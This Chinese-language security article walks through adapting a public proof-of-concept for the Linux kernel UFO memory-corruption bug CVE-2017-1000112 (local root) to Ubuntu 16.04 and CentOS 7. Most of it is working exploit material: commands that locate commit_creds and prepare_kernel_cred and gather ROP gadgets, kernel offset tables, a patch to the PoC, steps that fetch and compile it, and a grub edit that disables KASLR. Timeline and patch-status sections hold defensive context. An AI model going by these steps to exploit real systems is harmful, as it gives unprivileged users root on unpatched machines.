如何將漏洞CVE-2017-1000112應用到其他內核上

寫在前面的話

在這篇文章中,我們將跟大家介紹如何將Andrey針對CVE-2017-1000112的PoC應用到其他內核上。為了給大家演示,本文將使用Ubuntu的Xenial(16.04)內核版本4.4.0-81-generic來進行測試。

PoC代碼下載:【點我下載】

漏洞時間軸

2017年08月03日:將漏洞報告給廠商;

2017年08月04日:將漏洞報告給linux-distros@;

2017年08月10日:漏洞補丁提交給netdev;

2017年08月10日:oss-security@發布官方聲明;

描述

這個PoC利用的是Linux內核UFO到非UFO路徑轉換時的內存崩潰問題,在構建一個UFO數據包時,內核會使用MSG_MORE __ip_append_data()函數來調用ip_ufo_append_data()並完成路徑的添加。但是在這兩個send()調用的過程中,添加的路徑可以從UFO路徑轉換為非UFO路徑,而這將導致內存崩潰的發生。為了防止UFO數據包長度超過MTU,非UFO路徑的copy = maxfraglen – skb->len將會變成false,並分配新的skb。這將會出發程序計算fraggap = skb_prev->len – maxfraglen的值,並將copy = datalen – transhdrlen – fraggap設置為false。需要注意的是,類似的問題IPv6的代碼中同樣存在。

漏洞修復

關於漏洞的修復情況,請參考【這篇文章】。

漏洞情況概述

UFO(UDP Fragmentation Offload)是將較大的UDP數據包進行分片。由於UDP 數據包不會自己進行分段,因此當長度超過了 MTU 時,會在網路層進行 IP 分片。 這將減少較大的UDP數據包分片到MTU大小的數據包中的堆棧開銷。

Linux 內核存在內存崩潰漏洞,從UFO到非UFO在路徑切換過程中,構建UFO數據包時使用了MSG_MORE __ip_append_data()調用ip_ufo_append_data()。在兩個send()調用之間,路徑從UFO切換到非UFO過程中,會導致內存崩潰。Linux 內核 UFO到非UFO 路徑切換內存崩潰漏洞會造成普通用戶提權到root用戶。

給Ubuntu 16.04(內核Kernel 4.4.0-81-generic)添加偏移量

PoC的框架允許我們給commit_creds、prepare_kernel_cred以及不同內涵的ROP鏈添加地址偏移量。在對kernel_info的結構進行了分析之後,我們還可以使用目標內核地址來更新這部分數據。

尋找內核函數

接下來,我們需要確定commit_creds、prepare_kernel_cred以及針對CR4讀寫函數的地址偏移量。

基於Ubuntu 16.04.2創建目標虛擬機

在本文的演示過程中,我將使用VMWare。

鏡像下載地址:【點我下載】

在開始測試之前,我們需要更新vmx配置文件來開啟內核的調試stub:

debugStub.listen.guest64 = "TRUE"debugStub.listen.guest64.remote = "TRUE"

安裝4.4.0-81-generic內核

sudo apt install linux-image-4.4.0-81-generic

內核安裝完成之後,需要重啟設備,然後尋找下列內核函數的地址:commit_creds、prepare_kernel_cred、native_read_cr4_safe和native_write_cr4。操作命令如下:

sudo grep commit_creds /proc/kallsymssudo grep prepare_kernel_cred /proc/kallsymssudo grep native_read_cr4_safe /proc/kallsymssudo grep native_write_cr4 /proc/kallsyms

尋找ROPgadget

在這個演示部分中,我將使用不同的虛擬機來調試上面所提到的目標設備。當新的虛擬機創建完成之後,我們可以使用extract-vmlinux【下載地址】來提取出未壓縮的Linux內核版本,或者使用調試符來號下載內核。

你可以通過下列命令來使用調試符號獲取內核:

echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiversedeb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiversedeb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" |sudo tee -a /etc/apt/sources.list.d/ddebs.listsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622apt install linux-image-4.4.0-81-generic-dbgsym

內核將會被安裝在目錄/usr/lib/debug/boot/vmlinux-4.4.0-81-generic之中。

在目標內核中安裝並運行ROPgadget

我準備使用ropgadget【下載地址】來尋找出目標內核中的Gadget。操作命令如下所示:

apt install python-pip python-capstonepip install ropgadgetROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic

既然我們已經獲取到了可能的gadget,我們則需要尋找出能夠匹配PoC中ROP鏈的地址:

struct kernel_info { const char distro; const char version; uint64_t commit_creds; sudo grep commit_creds /proc/kallsyms 0xffffffff810a2800 T commit_creds uint64_t prepare_kernel_cred; sudo grep prepare_kernel_cred /proc/kallsyms 0xffffffff810a2bf0 T prepare_kernel_cred uint64_t xchg_eax_esp_ret; grep : xchg eax, esp ; ret rg-4.4.0-81-generic 0xffffffff8100008a : xchg eax, esp ; ret uint64_t pop_rdi_ret; grep : pop rdi ; ret rg-4.4.0-81-generic 0xffffffff813eb4ad : pop rdi ; ret uint64_t mov_dword_ptr_rdi_eax_ret; grep : mov dword ptr [rdi], eax ; ret rg-4.4.0-81-generic 0xffffffff81112697 : mov dword ptr [rdi], eax ; ret uint64_t mov_rax_cr4_ret; sudo grep cr4 /proc/kallsyms 0xffffffff8101b9c0 t native_read_cr4_safe uint64_t neg_rax_ret; grep : neg rax ; ret rg-4.4.0-81-generic 0xffffffff8140341a : neg rax ; ret uint64_t pop_rcx_ret; grep : pop rcx ; ret rg-4.4.0-81-generic 0xffffffff8101de6c : pop rcx ; ret uint64_t or_rax_rcx_ret; grep : or rax, rcx ; ret rg-4.4.0-81-generic 0xffffffff8107a453 : or rax, rcx ; ret uint64_t xchg_eax_edi_ret; grep : xchg eax, edi ; ret rg-4.4.0-81-generic 0xffffffff81125787 : xchg eax, edi ; ret uint64_t mov_cr4_rdi_ret; sudo grep cr4 /proc/kallsyms 0xffffffff81064580 t native_write_cr4 uint64_t jmp_rcx; grep : jmp rcx rg-4.4.0-81-generic 0xffffffff81049ed0`

KASLR

內核4.4.0-81並沒有啟用KASLR,但為了對現有文件進行確認,我們需要使用偏移量。

我們可以使用下列命令找出內核的基地址:

sudo grep text /proc/kallsymsffffffff81000000 T _text

比如說,下面的方法可以確認commit_creds的偏移量:

0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800

請注意:如果你使用的內核不支持KASLR,請使用下列命令【參考文章】:

$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grubGRUB_CMDLINE_LINUX_DEFAULT="quiet"$ sudo perl -i -pe m/quiet/ and s//quiet nokaslr/ /etc/default/grub$ grep quiet /etc/default/grubGRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"$ sudo update-grub

更新原始的PoC文件

我們需要使用新得到的地址來更新PoC,然後添加對Ubuntu 16.04的4.4.0內核(xenial)的支持。

{ 「xenial」, 「4.4.0-81-generic」, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, unsigned long get_kernel_addr() { char* syslog; int size; mmap_syslog(&syslog, &size); if (strcmp("trusty", kernels[kernel].distro) == 0 && strncmp("4.4.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0 && (strncmp("4.4.0", kernels[kernel].version, 5) == 0) || (strncmp("4.8.0", kernels[kernel].version, 5) == 0)) return get_kernel_addr_xenial(syslog, size); printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); exit(EXIT_FAILURE);}

修復補丁

4.4.0-81.patch`—- poc.c 2017-12-21 11:49:17.758164986 -0600+++ updated.c 2017-12-20 16:21:06.187852954 -0600@@ -117,6 +117,7 @@{ 「trusty」, 「4.4.0-79-generic」, 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },{ 「trusty」, 「4.4.0-81-generic」, 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },{ 「trusty」, 「4.4.0-83-generic」, 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },{ 「xenial」, 「4.4.0-81-generic」, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },{ 「xenial」, 「4.8.0-34-generic」, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },{ 「xenial」, 「4.8.0-36-generic」, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },{ 「xenial」, 「4.8.0-39-generic」, 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },@@ -326,7 +327,8 @@strncmp("4.4.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_trusty(syslog, size);if (strcmp(「xenial」, kernels[kernel].distro) == 0 &&strncmp(「4.8.0」, kernels[kernel].version, 5) == 0)(strncmp(「4.4.0」, kernels[kernel].version, 5) == 0) ||(strncmp(「4.8.0」, kernels[kernel].version, 5) == 0))return get_kernel_addr_xenial(syslog, size);printf(「[-] KASLR bypass only tested on trusty 4.4.0- and xenial 4-8-0-「);`

部署修復補丁

wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.cpatch < 4.4.0.81.patchgcc poc.c -o updatedpoc

內核調試

在目標設備中,我們已經使用調試符號成功下載了測試內核,接下來為了保證完整性,我們還需要下載內核源碼:

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.debdpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb

源代碼將會以壓縮文件的形式安裝在目錄/usr/src/linux-source-4.4.0-81中:

/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2

提取出源文件之後,它將會存儲在目錄/usr/src/linux-source-4.4.0/linux-source-4.4.0之中:

tar xvjf linux-source-4.4.0.tar.bz2

GDB

sudo apt install gdb

安裝pwndbg:【下載地址】

git clone https://github.com/pwndbg/pwndbgcd pwndbg./setup.sh

開啟GDB,配置源地址,然後連接到目標設備:

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-genericset substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/target remote 192.168.81.1:8864

斷點使用:

break __ip_append_databreak __ip_flush_pending_framesbreak skb_release_all

第一個斷點設在ip_append_data上,我們可以從中了解到內存崩潰的具體情況:

第二個斷點設在ip_append_data:

開啟__ip_flush_pending_frames的斷點:

開啟skb_release_all上的斷點:

在break at skb_release_all,我們可以看到內存崩潰的發生情況,這裡在用戶模式的ROP鏈調用了skb_shared_info->destructor_arg。在上述代碼中,我們也可以看到skb的地址0xffff880039161400(針對skb_release_all的調用):

在skb_release_data中,針對ROP鏈起始位置的間接引用開始於地址0xffffffff81720a12,ROP鏈開始於地址0xffffffff81720a1f。

最終我們得到了內存中的ROP鏈:

Linux發行版

要求

在滿足下列情況的條件下,任何非特權用戶都可以利用該漏洞來實施攻擊:

用戶可以設置一個介面,開啟UFO並設置MTU < 65535。

用戶可以禁用NETIF_F_UFO介面功能,或設置SO_NO_CHECK套接字選項。前者要求CAP_NET_ADMIN,後者只適用於2016年1月11日之後的版本(」udp: 禁用UFO )的SO_NO_CHECK選項」)。

理論上來說,如果非特權用戶域名空間可使用的話,任何非特權用戶都可以利用該漏洞來實施攻擊。

檢查udp-framentation-offload的狀態

迴環:

ethtool -k lo |grep udpudp-fragmentation-offload: onens33:ethtool -k ens33 |grep udpudp-fragmentation-offload: off [fixed]

Ubuntu

默認配置下,Ubuntu支持用戶域名空間:

https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html

數據包

Source: linux (LP Ubuntu Debian)Upstream: 已發布(4.13~rc5)Ubuntu 12.04 ESM (Precise Pangolin): 忽略(不支持用戶域名空間)Ubuntu 14.04 LTS (Trusty Tahr): 已發布(3.13.0-128.177)Ubuntu 16.04 LTS (Xenial Xerus): 已發布(4.4.0-91.114)Ubuntu 17.04 (Zesty Zapus): 已發布(4.10.0-32.36)Ubuntu 17.10 (Artful Aardvark): 不受影響 (4.12.0-11.12)Ubuntu 18.04 LTS (Bionic Beaver): 不受影響 (4.13.0-16.19)RHEL/CentOS

Centos的內核同樣存在漏洞,但是默認配置下該漏洞並不允許攻擊者在用戶空間下進行非法操作【漏洞詳情】。

CentOS 7-access.redhat.com/errat

kernel-3.10.0-693.5.2.el7.x86_64.rpm

CentOS 6-access.redhat.com/errat

kernel-2.6.32-696.16.1.el6.x86_64.rpm

我已經在CentOS 7(kernel 3.10.0-693.el7.x86_64)上測試成功了,但是我們需要手動調低迴環適配器的MTU:

/sbin/ifconfig lo mtu 1500

偏移量:

{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }

參考資料

github.com/xairy/kernel

securingtomorrow.mcafee.com

seclists.org/oss-sec/20

nvd.nist.gov/vuln/detai

securityfocus.com/bid/1

packetstormsecurity.com

登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~


推薦閱讀:

macOS root賬戶登錄憑據驗證錯誤(CVE-2017-13872)漏洞分析
以DLink為例教你如何挖掘漏洞
如何看待谷歌在微軟發布補丁之前公布並演示相關漏洞?

TAG:网络安全 | 操作系统内核 | 漏洞 |